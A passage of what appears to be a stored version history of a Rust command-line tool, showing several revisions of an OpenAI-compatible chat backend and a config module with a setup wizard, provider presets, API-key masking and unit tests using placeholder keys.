m.role, \"content\": m.content}));\n }\n let body = json!({\n \"model\": self.config.model,\n \"messages\": msgs,\n \"temperature\": super::DEFAULT_TEMPERATURE,\n \"max_tokens\": super::DEFAULT_MAX_TOKENS\n });\n self.send_request(body).await\n }\n}\n"}, "be950557bf26322428905a08322cf5c10a9d2611": {"t": 1785760768.849601, "n": 3410, "h": "20c19aee63804928", "c": "use anyhow::{Context, Result};\nuse async_trait::async_trait;\nuse serde_json::json;\n\nuse super::{LlmBackend, Message};\nuse crate::config::OpenAiConfig;\n\npub struct OpenAiBackend {\n config: OpenAiConfig,\n client: reqwest::Client,\n}\n\nimpl OpenAiBackend {\n pub fn new(config: OpenAiConfig) -> Self {\n Self {\n config,\n client: super::build_http_client(),\n }\n }\n\n fn build_url(&self) -> String {\n let base_url = self\n .config\n .base_url\n .as_deref()\n .unwrap_or(\"https://api.openai.com\");\n format!(\"{}/v1/chat/completions\", base_url.trim_end_matches('/'))\n }\n\n async fn send_request(&self, body: serde_json::Value) -> Result<String> {\n let url = self.build_url();\n let mut last_err = None;\n\n for attempt in 0..super::MAX_RETRIES {\n let resp = self\n .client\n .post(&url)\n .header(\"Authorization\", format!(\"Bearer {}\", self.config.api_key))\n .header(\"Content-Type\", \"application/json\")\n .json(&body)\n .send()\n .await\n .context(\"Failed to send request to OpenAI\")?;\n\n let status = resp.status();\n let text = resp\n .text()\n .await\n .context(\"Failed to read OpenAI response\")?;\n\n if status.is_success() {\n let parsed: serde_json::Value =\n serde_json::from_str(&text).context(\"Failed to parse OpenAI response\")?;\n return parsed[\"choices\"][0][\"message\"][\"content\"]\n .as_str()\n .map(|s| s.to_string())\n .ok_or_else(|| anyhow::anyhow!(\"Unexpected OpenAI response format\"));\n }\n\n if super::should_retry(status) && attempt + 1 < super::MAX_RETRIES {\n super::backoff_delay(attempt).await;\n last_err = Some(format!(\"OpenAI API error ({}): {}\", status, text.chars().take(500).collect::<String>()));\n continue;\n }\n\n let preview: String = text.chars().take(500).collect();\n anyhow::bail!(\"OpenAI API error ({}): {}\", status, preview);\n }\n\n anyhow::bail!(\"{}\", last_err.unwrap_or_else(|| \"OpenAI request failed\".into()))\n }\n}\n\n#[async_trait]\nimpl LlmBackend for OpenAiBackend {\n async fn chat(&self, system: &str, user: &str) -> Result<String> {\n let body = json!({\n \"model\": self.config.model,\n \"messages\": [\n {\"role\": \"system\", \"content\": system},\n {\"role\": \"user\", \"content\": user}\n ],\n \"temperature\": super::DEFAULT_TEMPERATURE,\n \"max_tokens\": super::DEFAULT_MAX_TOKENS\n });\n self.send_request(body).await\n }\n\n async fn chat_with_history(&self, system: &str, messages: &[Message]) -> Result<String> {\n let mut msgs = vec![json!({\"role\": \"system\", \"content\": system})];\n for m in messages {\n msgs.push(json!({\"role\": m.role, \"content\": m.content}));\n }\n let body = json!({\n \"model\": self.config.model,\n \"messages\": msgs,\n \"temperature\": super::DEFAULT_TEMPERATURE,\n \"max_tokens\": super::DEFAULT_MAX_TOKENS\n });\n self.send_request(body).await\n }\n}\n"}, "7f977758c8a941bd6980fa6692c96550b3a36872": {"t": 1785760770.9140556, "n": 2790, "h": "858a474341eea877", "c": "use anyhow::{Context, Result};\nuse async_trait::async_trait;\nuse serde_json::json;\n\nuse super::{LlmBackend, Message};\nuse crate::config::OpenAiConfig;\n\npub struct OpenAiBackend {\n config: OpenAiConfig,\n client: reqwest::Client,\n}\n\nimpl OpenAiBackend {\n pub fn new(config: OpenAiConfig) -> Self {\n Self {\n config,\n client: super::build_http_client(),\n }\n }\n\n fn build_url(&self) -> String {\n let base_url = self\n .config\n .base_url\n .as_deref()\n .unwrap_or(\"https://api.openai.com\");\n format!(\"{}/v1/chat/completions\", base_url.trim_end_matches('/'))\n }\n\n async fn send_request(&self, body: serde_json::Value) -> Result<String> {\n let resp = self\n .client\n .post(self.build_url())\n .header(\"Authorization\", format!(\"Bearer {}\", self.config.api_key))\n .header(\"Content-Type\", \"application/json\")\n .json(&body)\n .send()\n .await\n .context(\"Failed to send request to OpenAI\")?;\n\n let status = resp.status();\n let text = resp\n .text()\n .await\n .context(\"Failed to read OpenAI response\")?;\n\n if !status.is_success() {\n let preview: String = text.chars().take(500).collect();\n anyhow::bail!(\"OpenAI API error ({}): {}\", status, preview);\n }\n\n let parsed: serde_json::Value =\n serde_json::from_str(&text).context(\"Failed to parse OpenAI response\")?;\n\n parsed[\"choices\"][0][\"message\"][\"content\"]\n .as_str()\n .map(|s| s.to_string())\n .ok_or_else(|| anyhow::anyhow!(\"Unexpected OpenAI response format\"))\n }\n}\n\n#[async_trait]\nimpl LlmBackend for OpenAiBackend {\n async fn chat(&self, system: &str, user: &str) -> Result<String> {\n let body = json!({\n \"model\": self.config.model,\n \"messages\": [\n {\"role\": \"system\", \"content\": system},\n {\"role\": \"user\", \"content\": user}\n ],\n \"temperature\": super::DEFAULT_TEMPERATURE,\n \"max_tokens\": super::DEFAULT_MAX_TOKENS\n });\n self.send_request(body).await\n }\n\n async fn chat_with_history(&self, system: &str, messages: &[Message]) -> Result<String> {\n let mut msgs = vec![json!({\"role\": \"system\", \"content\": system})];\n for m in messages {\n msgs.push(json!({\"role\": m.role, \"content\": m.content}));\n }\n let body = json!({\n \"model\": self.config.model,\n \"messages\": msgs,\n \"temperature\": super::DEFAULT_TEMPERATURE,\n \"max_tokens\": super::DEFAULT_MAX_TOKENS\n });\n self.send_request(body).await\n }\n}\n"}, "388379de47893be285fc5542500a018381b0312e": {"t": 1785760772.3044276, "n": 2638, "h": "d215a5c1590406d8", "c": "use anyhow::{Context, Result};\nuse async_trait::async_trait;\nuse serde_json::json;\n\nuse super::{LlmBackend, Message};\nuse crate::config::OpenAiConfig;\n\npub struct OpenAiBackend {\n config: OpenAiConfig,\n client: reqwest::Client,\n}\n\nimpl OpenAiBackend {\n pub fn new(config: OpenAiConfig) -> Self {\n Self {\n config,\n client: super::build_http_client(),\n }\n }\n\n fn build_url(&self) -> String {\n let base_url = self\n .config\n .base_url\n .as_deref()\n .unwrap_or(\"https://api.openai.com\");\n format!(\"{}/v1/chat/completions\", base_url.trim_end_matches('/'))\n }\n\n async fn send_request(&self, body: serde_json::Value) -> Result<String> {\n let resp = self\n .client\n .post(self.build_url())\n .header(\"Authorization\", format!(\"Bearer {}\", self.config.api_key))\n .header(\"Content-Type\", \"application/json\")\n .json(&body)\n .send()\n .await\n .context(\"Failed to send request to OpenAI\")?;\n\n let status = resp.status();\n let text = resp\n .text()\n .await\n .context(\"Failed to read OpenAI response\")?;\n\n if !status.is_success() {\n let preview: String = text.chars().take(500).collect();\n anyhow::bail!(\"OpenAI API error ({}): {}\", status, preview);\n }\n\n let parsed: serde_json::Value =\n serde_json::from_str(&text).context(\"Failed to parse OpenAI response\")?;\n\n parsed[\"choices\"][0][\"message\"][\"content\"]\n .as_str()\n .map(|s| s.to_string())\n .ok_or_else(|| anyhow::anyhow!(\"Unexpected OpenAI response format\"))\n }\n}\n\n#[async_trait]\nimpl LlmBackend for OpenAiBackend {\n async fn chat(&self, system: &str, user: &str) -> Result<String> {\n let body = json!({\n \"model\": self.config.model,\n \"messages\": [\n {\"role\": \"system\", \"content\": system},\n {\"role\": \"user\", \"content\": user}\n ],\n \"temperature\": 0.1\n });\n self.send_request(body).await\n }\n\n async fn chat_with_history(&self, system: &str, messages: &[Message]) -> Result<String> {\n let mut msgs = vec![json!({\"role\": \"system\", \"content\": system})];\n for m in messages {\n msgs.push(json!({\"role\": m.role, \"content\": m.content}));\n }\n let body = json!({\n \"model\": self.config.model,\n \"messages\": msgs,\n \"temperature\": 0.1\n });\n self.send_request(body).await\n }\n}\n"}, "81ba73cc794ae306b91a08fdbed4bcde22ca235d": {"t": 1785760774.3807633, "n": 2563, "h": "ced09be5aa2e5b2c", "c": "use anyhow::{Context, Result};\nuse async_trait::async_trait;\nuse serde_json::json;\n\nuse super::{LlmBackend, Message};\nuse crate::config::OpenAiConfig;\n\npub struct OpenAiBackend {\n config: OpenAiConfig,\n client: reqwest::Client,\n}\n\nimpl OpenAiBackend {\n pub fn new(config: OpenAiConfig) -> Self {\n Self {\n config,\n client: reqwest::Client::new(),\n }\n }\n\n fn build_url(&self) -> String {\n let base_url = self\n .config\n .base_url\n .as_deref()\n .unwrap_or(\"https://api.openai.com\");\n format!(\"{}/v1/chat/completions\", base_url.trim_end_matches('/'))\n }\n\n async fn send_request(&self, body: serde_json::Value) -> Result<String> {\n let resp = self\n .client\n .post(self.build_url())\n .header(\"Authorization\", format!(\"Bearer {}\", self.config.api_key))\n .header(\"Content-Type\", \"application/json\")\n .json(&body)\n .send()\n .await\n .context(\"Failed to send request to OpenAI\")?;\n\n let status = resp.status();\n let text = resp\n .text()\n .await\n .context(\"Failed to read OpenAI response\")?;\n\n if !status.is_success() {\n anyhow::bail!(\"OpenAI API error ({}): {}\", status, text);\n }\n\n let parsed: serde_json::Value =\n serde_json::from_str(&text).context(\"Failed to parse OpenAI response\")?;\n\n parsed[\"choices\"][0][\"message\"][\"content\"]\n .as_str()\n .map(|s| s.to_string())\n .ok_or_else(|| anyhow::anyhow!(\"Unexpected OpenAI response format\"))\n }\n}\n\n#[async_trait]\nimpl LlmBackend for OpenAiBackend {\n async fn chat(&self, system: &str, user: &str) -> Result<String> {\n let body = json!({\n \"model\": self.config.model,\n \"messages\": [\n {\"role\": \"system\", \"content\": system},\n {\"role\": \"user\", \"content\": user}\n ],\n \"temperature\": 0.1\n });\n self.send_request(body).await\n }\n\n async fn chat_with_history(&self, system: &str, messages: &[Message]) -> Result<String> {\n let mut msgs = vec![json!({\"role\": \"system\", \"content\": system})];\n for m in messages {\n msgs.push(json!({\"role\": m.role, \"content\": m.content}));\n }\n let body = json!({\n \"model\": self.config.model,\n \"messages\": msgs,\n \"temperature\": 0.1\n });\n self.send_request(body).await\n }\n}\n"}, "2f08bf81f9976305605e408ad08ef8c717583081": {"t": 1785760776.2229068, "n": 1925, "h": "a8b54ec03c7a94c8", "c": "use anyhow::{Context, Result};\nuse async_trait::async_trait;\nuse serde_json::json;\n\nuse super::LlmBackend;\nuse crate::config::OpenAiConfig;\n\npub struct OpenAiBackend {\n config: OpenAiConfig,\n client: reqwest::Client,\n}\n\nimpl OpenAiBackend {\n pub fn new(config: OpenAiConfig) -> Self {\n Self {\n config,\n client: reqwest::Client::new(),\n }\n }\n}\n\n#[async_trait]\nimpl LlmBackend for OpenAiBackend {\n async fn chat(&self, system: &str, user: &str) -> Result<String> {\n let base_url = self\n .config\n .base_url\n .as_deref()\n .unwrap_or(\"https://api.openai.com\");\n let url = format!(\"{}/v1/chat/completions\", base_url.trim_end_matches('/'));\n\n let body = json!({\n \"model\": self.config.model,\n \"messages\": [\n {\"role\": \"system\", \"content\": system},\n {\"role\": \"user\", \"content\": user}\n ],\n \"temperature\": 0.1\n });\n\n let resp = self\n .client\n .post(&url)\n .header(\"Authorization\", format!(\"Bearer {}\", self.config.api_key))\n .header(\"Content-Type\", \"application/json\")\n .json(&body)\n .send()\n .await\n .context(\"Failed to send request to OpenAI\")?;\n\n let status = resp.status();\n let text = resp\n .text()\n .await\n .context(\"Failed to read OpenAI response\")?;\n\n if !status.is_success() {\n anyhow::bail!(\"OpenAI API error ({}): {}\", status, text);\n }\n\n let parsed: serde_json::Value =\n serde_json::from_str(&text).context(\"Failed to parse OpenAI response\")?;\n\n parsed[\"choices\"][0][\"message\"][\"content\"]\n .as_str()\n .map(|s| s.to_string())\n .ok_or_else(|| anyhow::anyhow!(\"Unexpected OpenAI response format\"))\n }\n}\n"}}, "src/config.rs": {"9f6d61b742783293d95b348ac1408254df447b0e": {"t": 1785746225.370926, "n": 21552, "h": "c00f7b7ac9b20183", "c": "use anyhow::{Context, Result};\nuse serde::{Deserialize, Serialize};\nuse std::path::PathBuf;\n\nuse crate::i18n::{self, Lang};\n\n#[derive(Debug, Deserialize, Serialize)]\npub struct Config {\n #[serde(default = \"default_backend\")]\n pub default_backend: String,\n #[serde(default = \"default_cache_ttl\")]\n pub cache_ttl_hours: u64,\n #[serde(default)]\n pub auto_confirm_safe: bool,\n #[serde(default)]\n pub show_explanation: bool,\n #[serde(default = \"default_language\")]\n pub language: String,\n #[serde(default = \"default_chat_history_size\")]\n pub chat_history_size: usize,\n #[serde(default = \"default_cache_max_entries\")]\n pub cache_max_entries: usize,\n pub openai: Option<OpenAiConfig>,\n pub claude: Option<ClaudeConfig>,\n pub gemini: Option<GeminiConfig>,\n pub ollama: Option<OllamaConfig>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OpenAiConfig {\n pub api_key: String,\n #[serde(default = \"default_openai_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct ClaudeConfig {\n pub api_key: String,\n #[serde(default = \"default_claude_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct GeminiConfig {\n pub api_key: String,\n #[serde(default = \"default_gemini_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OllamaConfig {\n #[serde(default = \"default_ollama_host\")]\n pub host: String,\n #[serde(default = \"default_ollama_model\")]\n pub model: String,\n}\n\nfn default_backend() -> String {\n \"openai\".into()\n}\nfn default_cache_ttl() -> u64 {\n 48\n}\nfn default_language() -> String {\n \"zh\".into()\n}\nfn default_openai_model() -> String {\n \"gpt-4o-mini\".into()\n}\nfn default_claude_model() -> String {\n \"claude-sonnet-4-20250514\".into()\n}\nfn default_chat_history_size() -> usize {\n 20\n}\nfn default_cache_max_entries() -> usize {\n 1000\n}\nfn default_gemini_model() -> String {\n \"gemini-2.5-flash\".into()\n}\nfn default_ollama_host() -> String {\n \"http://localhost:11434\".into()\n}\nfn default_ollama_model() -> String {\n \"llama3\".into()\n}\n\npub fn piz_dir() -> Result<PathBuf> {\n let home = std::env::var(\"HOME\")\n .or_else(|_| std::env::var(\"USERPROFILE\"))\n .map(PathBuf::from)\n .ok()\n .or_else(dirs::home_dir)\n .context(\"Cannot determine home directory\")?;\n Ok(home.join(\".piz\"))\n}\n\npub fn config_path() -> Result<PathBuf> {\n Ok(piz_dir()?.join(\"config.toml\"))\n}\n\npub fn load_config() -> Result<Config> {\n let path = config_path()?;\n if !path.exists() {\n println!(\"No configuration found. Let's set up piz for the first time.\\n\");\n init_config()?;\n // If init was aborted or config still missing, bail\n if !path.exists() {\n anyhow::bail!(\"Config file not created. Run `piz config --init` to try again.\");\n }\n }\n let content = std::fs::read_to_string(&path)\n .with_context(|| format!(\"Failed to read {}\", path.display()))?;\n let config: Config =\n toml::from_str(&content).with_context(|| format!(\"Failed to parse {}\", path.display()))?;\n Ok(config)\n}\n\npub fn init_config() -> Result<()> {\n let dir = piz_dir()?;\n std::fs::create_dir_all(&dir)?;\n let path = config_path()?;\n\n // Step 0: choose language first (always show trilingual)\n let lang_items = &[\"中文\", \"English\"];\n let lang_idx = dialoguer::Select::new()\n .with_prompt(\"选择语言 / Select language\")\n .items(lang_items)\n .default(0)\n .interact()?;\n let lang = match lang_idx {\n 1 => Lang::En,\n _ => Lang::Zh,\n };\n let tr = i18n::t(lang);\n\n if path.exists() {\n let overwrite = dialoguer::Confirm::new()\n .with_prompt(format!(\"{} ({})\", tr.config_overwrite, path.display()))\n .default(false)\n .interact()?;\n if !overwrite {\n println!(\"{}\", tr.cancelled);\n return Ok(());\n }\n }\n\n println!();\n println!(\" {}\", tr.wizard_title);\n println!();\n\n // Step 1: choose backend\n let backends = &[\n \"openai (DeepSeek, SiliconFlow, OpenRouter, ...)\",\n \"claude\",\n \"gemini (Google)\",\n \"ollama (local)\",\n ];\n let backend_idx = dialoguer::Select::new()\n .with_prompt(tr.select_backend)\n .items(backends)\n .default(0)\n .interact()?;\n let backend_name = match backend_idx {\n 0 => \"openai\",\n 1 => \"claude\",\n 2 => \"gemini\",\n 3 => \"ollama\",\n _ => \"openai\",\n };\n\n // Step 2: collect backend-specific config\n let mut openai_section = String::new();\n let mut claude_section = String::new();\n let mut gemini_section = String::new();\n let mut ollama_section = String::new();\n\n match backend_name {\n \"openai\" => openai_section = collect_openai_config(tr)?,\n \"claude\" => claude_section = collect_claude_config(tr)?,\n \"gemini\" => gemini_section = collect_gemini_config(tr)?,\n \"ollama\" => ollama_section = collect_ollama_config(tr)?,\n _ => {}\n }\n\n // Step 3: auto_confirm\n let auto_confirm = dialoguer::Confirm::new()\n .with_prompt(tr.auto_confirm_prompt)\n .default(true)\n .interact()?;\n\n // Step 4: additional backends\n let extra = dialoguer::Confirm::new()\n .with_prompt(tr.extra_backends)\n .default(false)\n .interact()?;\n\n if extra {\n if backend_name != \"openai\"\n && openai_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_openai)\n .default(false)\n .interact()?\n {\n openai_section = collect_openai_config(tr)?;\n }\n if backend_name != \"claude\"\n && claude_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_claude)\n .default(false)\n .interact()?\n {\n claude_section = collect_claude_config(tr)?;\n }\n if backend_name != \"gemini\"\n && gemini_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_gemini)\n .default(false)\n .interact()?\n {\n gemini_section = collect_gemini_config(tr)?;\n }\n if backend_name != \"ollama\"\n && ollama_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_ollama)\n .default(false)\n .interact()?\n {\n ollama_section = collect_ollama_config(tr)?;\n }\n }\n\n // Assemble config\n let mut content = format!(\n \"default_backend = \\\"{backend}\\\"\\n\\\n cache_ttl_hours = 48\\n\\\n auto_confirm_safe = {auto_confirm}\\n\\\n language = \\\"{lang}\\\"\\n\",\n backend = backend_name,\n auto_confirm = auto_confirm,\n lang = lang.code(),\n );\n\n if !openai_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", openai_section));\n }\n if !claude_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", claude_section));\n }\n if !gemini_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", gemini_section));\n }\n if !ollama_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", ollama_section));\n }\n\n std::fs::write(&path, &content)?;\n\n println!();\n println!(\" {} {}\", tr.config_saved, path.display());\n println!();\n\n match parse_config(&content) {\n Ok(_) => println!(\" {}\", tr.config_validated),\n Err(e) => println!(\" ⚠ {}\", e),\n }\n\n println!();\n println!(\" {} {}\", tr.config_edit_hint, path.display());\n println!(\" {}\", tr.config_rerun_hint);\n println!();\n Ok(())\n}\n\nfn collect_openai_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- OpenAI-compatible --\");\n\n let presets = &[\n \"OpenAI (api.openai.com)\",\n \"DeepSeek (api.deepseek.com)\",\n \"SiliconFlow (api.siliconflow.cn)\",\n \"OpenRouter (openrouter.ai)\",\n \"Moonshot / Kimi (api.moonshot.cn)\",\n \"Zhipu / GLM (open.bigmodel.cn)\",\n \"Qianfan / Baidu (qianfan.baidubce.com)\",\n \"DashScope / Alibaba (dashscope.aliyuncs.com)\",\n \"Mistral (api.mistral.ai)\",\n \"Together (api.together.xyz)\",\n \"Minimax (api.minimax.io)\",\n \"BytePlus / Volcengine (byteplus)\",\n \"Custom URL\",\n ];\n let preset_idx = dialoguer::Select::new()\n .with_prompt(tr.select_provider)\n .items(presets)\n .default(0)\n .interact()?;\n\n let (default_url, default_model) = match preset_idx {\n 0 => (\"https://api.openai.com\", \"gpt-4o-mini\"),\n 1 => (\"https://api.deepseek.com\", \"deepseek-chat\"),\n 2 => (\"https://api.siliconflow.cn\", \"Qwen/Qwen3-8B\"),\n 3 => (\"https://openrouter.ai/api/v1\", \"auto\"),\n 4 => (\"https://api.moonshot.cn\", \"moonshot-v1-8k\"),\n 5 => (\"https://open.bigmodel.cn/api/paas/v4\", \"glm-4-flash\"),\n 6 => (\"https://qianfan.baidubce.com/v2\", \"deepseek-v3\"),\n 7 => (\n \"https://dashscope.aliyuncs.com/compatible-mode/v1\",\n \"qwen-plus\",\n ),\n 8 => (\"https://api.mistral.ai/v1\", \"mistral-small-latest\"),\n 9 => (\n \"https://api.together.xyz/v1\",\n \"meta-llama/Meta-Llama-3-8B-Instruct\",\n ),\n 10 => (\"https://api.minimax.io/v1\", \"MiniMax-M1\"),\n 11 => (\n \"https://api.byteplus.volcengineapi.com/v1\",\n \"doubao-1.5-pro-32k\",\n ),\n _ => (\"\", \"\"),\n };\n\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(default_url)\n .interact_text()?;\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(default_model)\n .interact_text()?;\n\n let mut section = format!(\n \"[openai]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n if !base_url.is_empty() && base_url != \"https://api.openai.com\" {\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_claude_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Claude --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"claude-sonnet-4-20250514\")\n .interact_text()?;\n\n let use_custom_url = dialoguer::Confirm::new()\n .with_prompt(tr.custom_url_prompt)\n .default(false)\n .interact()?;\n\n let mut section = format!(\n \"[claude]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n\n if use_custom_url {\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(\"https://api.anthropic.com\")\n .interact_text()?;\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_gemini_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Google Gemini --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"gemini-2.5-flash\")\n .interact_text()?;\n\n Ok(format!(\n \"[gemini]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n ))\n}\n\nfn collect_ollama_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Ollama (local) --\");\n\n let host: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.ollama_host))\n .with_initial_text(\"http://localhost:11434\")\n .interact_text()?;\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"llama3\")\n .interact_text()?;\n\n Ok(format!(\n \"[ollama]\\nhost = {}\\nmodel = {}\\n\",\n toml_escape(&host),\n toml_escape(&model)\n ))\n}\n\n/// Return a stable identifier for the active backend+model combination.\n/// Used as part of the cache key so switching models auto-invalidates stale entries.\npub fn active_model_id(config: &Config, backend_override: Option<&str>) -> String {\n let backend = backend_override.unwrap_or(&config.default_backend);\n let model = match backend {\n \"openai\" => config.openai.as_ref().map(|c| c.model.as_str()),\n \"claude\" => config.claude.as_ref().map(|c| c.model.as_str()),\n \"gemini\" => config.gemini.as_ref().map(|c| c.model.as_str()),\n \"ollama\" => config.ollama.as_ref().map(|c| c.model.as_str()),\n _ => None,\n };\n format!(\"{}:{}\", backend, model.unwrap_or(\"default\"))\n}\n\n/// Escape a string value for TOML output (handles quotes, backslashes, etc.)\nfn toml_escape(s: &str) -> String {\n let value = toml::Value::String(s.to_string());\n value.to_string()\n}\n\n/// Mask an API key for display: show first 4 and last 4 chars if long enough\npub fn mask_api_key(key: &str) -> String {\n if key.len() > 8 {\n format!(\"{}...{}\", &key[..4], &key[key.len() - 4..])\n } else {\n \"*\".repeat(key.len())\n }\n}\n\n/// Mask all api_key values in a TOML config string\npub fn mask_config_keys(content: &str) -> String {\n content\n .lines()\n .map(|line| {\n if let Some(idx) = line.find(\"api_key\") {\n if let Some(eq_idx) = line[idx..].find('=') {\n let before = &line[..idx + eq_idx + 1];\n let value_part = line[idx + eq_idx + 1..].trim();\n if value_part.starts_with('\"')\n && value_part.ends_with('\"')\n && value_part.len() > 2\n {\n let key = &value_part[1..value_part.len() - 1];\n return format!(\"{} \\\"{}\\\"\", before, mask_api_key(key));\n }\n }\n }\n line.to_string()\n })\n .collect::<Vec<_>>()\n .join(\"\\n\")\n}\n\n/// Parse a TOML string into Config (useful for testing)\npub fn parse_config(content: &str) -> Result<Config> {\n let config: Config = toml::from_str(content).context(\"Failed to parse config TOML\")?;\n Ok(config)\n}\n\n#[cfg(test)]\nmod tests {\n use super::*;\n\n #[test]\n fn parse_full_config() {\n let toml = r#\"\ndefault_backend = \"claude\"\ncache_ttl_hours = 24\nauto_confirm_safe = true\n\n[openai]\napi_key = \"sk-test\"\nmodel = \"gpt-4\"\nbase_url = \"https://custom.api.com\"\n\n[claude]\napi_key = \"sk-ant-test\"\nmodel = \"claude-sonnet-4-20250514\"\n\n[ollama]\nhost = \"http://localhost:11434\"\nmodel = \"llama3\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"claude\");\n assert_eq!(cfg.cache_ttl_hours, 24);\n assert!(cfg.auto_confirm_safe);\n\n let openai = cfg.openai.unwrap();\n assert_eq!(openai.api_key, \"sk-test\");\n assert_eq!(openai.model, \"gpt-4\");\n assert_eq!(openai.base_url.unwrap(), \"https://custom.api.com\");\n\n let claude = cfg.claude.unwrap();\n assert_eq!(claude.api_key, \"sk-ant-test\");\n\n let ollama = cfg.ollama.unwrap();\n assert_eq!(ollama.host, \"http://localhost:11434\");\n assert_eq!(ollama.model, \"llama3\");\n }\n\n #[test]\n fn parse_minimal_config_uses_defaults() {\n let toml = r#\"\n[openai]\napi_key = \"sk-test\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert_eq!(cfg.cache_ttl_hours, 48);\n assert!(!cfg.auto_confirm_safe);\n assert_eq!(cfg.openai.unwrap().model, \"gpt-4o-mini\");\n assert!(cfg.claude.is_none());\n assert!(cfg.ollama.is_none());\n }\n\n #[test]\n fn parse_empty_config_ok() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert!(cfg.openai.is_none());\n }\n\n #[test]\n fn parse_invalid_toml_errors() {\n let result = parse_config(\"this is not [valid toml\");\n assert!(result.is_err());\n }\n\n #[test]\n fn mask_api_key_long() {\n assert_eq!(mask_api_key(\"sk-test-key-123456\"), \"sk-t...3456\");\n }\n\n #[test]\n fn mask_api_key_short() {\n assert_eq!(mask_api_key(\"short\"), \"*****\");\n }\n\n #[test]\n fn mask_api_key_exact_8() {\n assert_eq!(mask_api_key(\"12345678\"), \"********\");\n }\n\n #[test]\n fn mask_config_keys_masks_values() {\n let content = \"[openai]\\napi_key = \\\"sk-test-key-123456\\\"\\nmodel = \\\"gpt-4\\\"\";\n let masked = mask_config_keys(content);\n assert!(masked.contains(\"sk-t...3456\"));\n assert!(!masked.contains(\"sk-test-key-123456\"));\n assert!(masked.contains(\"gpt-4\"));\n }\n\n #[test]\n fn show_explanation_default_false() {\n let cfg = parse_config(\"\").unwrap();\n assert!(!cfg.show_explanation);\n }\n\n #[test]\n fn show_explanation_true() {\n let cfg = parse_config(\"show_explanation = true\").unwrap();\n assert!(cfg.show_explanation);\n }\n\n #[test]\n fn show_explanation_missing_defaults_false() {\n let toml = r#\"\ndefault_backend = \"openai\"\nauto_confirm_safe = true\n[openai]\napi_key = \"sk-test\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert!(!cfg.show_explanation);\n }\n\n #[test]\n fn piz_dir_under_home() {\n let dir = piz_dir().unwrap();\n assert!(dir.ends_with(\".piz\"));\n }\n\n #[test]\n fn config_path_is_toml() {\n let path = config_path().unwrap();\n assert_eq!(path.extension().unwrap(), \"toml\");\n assert!(path.ends_with(\"config.toml\"));\n }\n\n // ── Backend-specific config parsing ──\n\n #[test]\n fn parse_claude_config_standalone() {\n let toml = r#\"\ndefault_backend = \"claude\"\n[claude]\napi_key = \"sk-ant-test\"\nmodel = \"claude-sonnet-4-20250514\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert!(cfg.claude.is_some());\n let claude = cfg.claude.unwrap();\n assert_eq!(claude.api_key, \"sk-ant-test\");\n assert_eq!(claude.model, \"claude-sonnet-4-20250514\");\n assert!(claude.base_url.is_none());\n }\n\n #[test]\n fn parse_claude_config_with_base_url() {\n let toml = r#\"\n[claude]\napi_key = \"sk-test\"\nbase_url = \"https://my-proxy.com\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n let claude = cfg.claude.unwrap();\n assert_eq!(claude.base_url.as_deref(), Some(\"https://my-proxy.com\"));\n }\n\n #[test]\n fn parse_gemini_config_standalone() {\n let toml = r#\"\ndefault_backend = \"gemini\"\n[gemini]\napi_key = \"AIza-test\"\nmodel = \"gemini-2.5-flash\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n 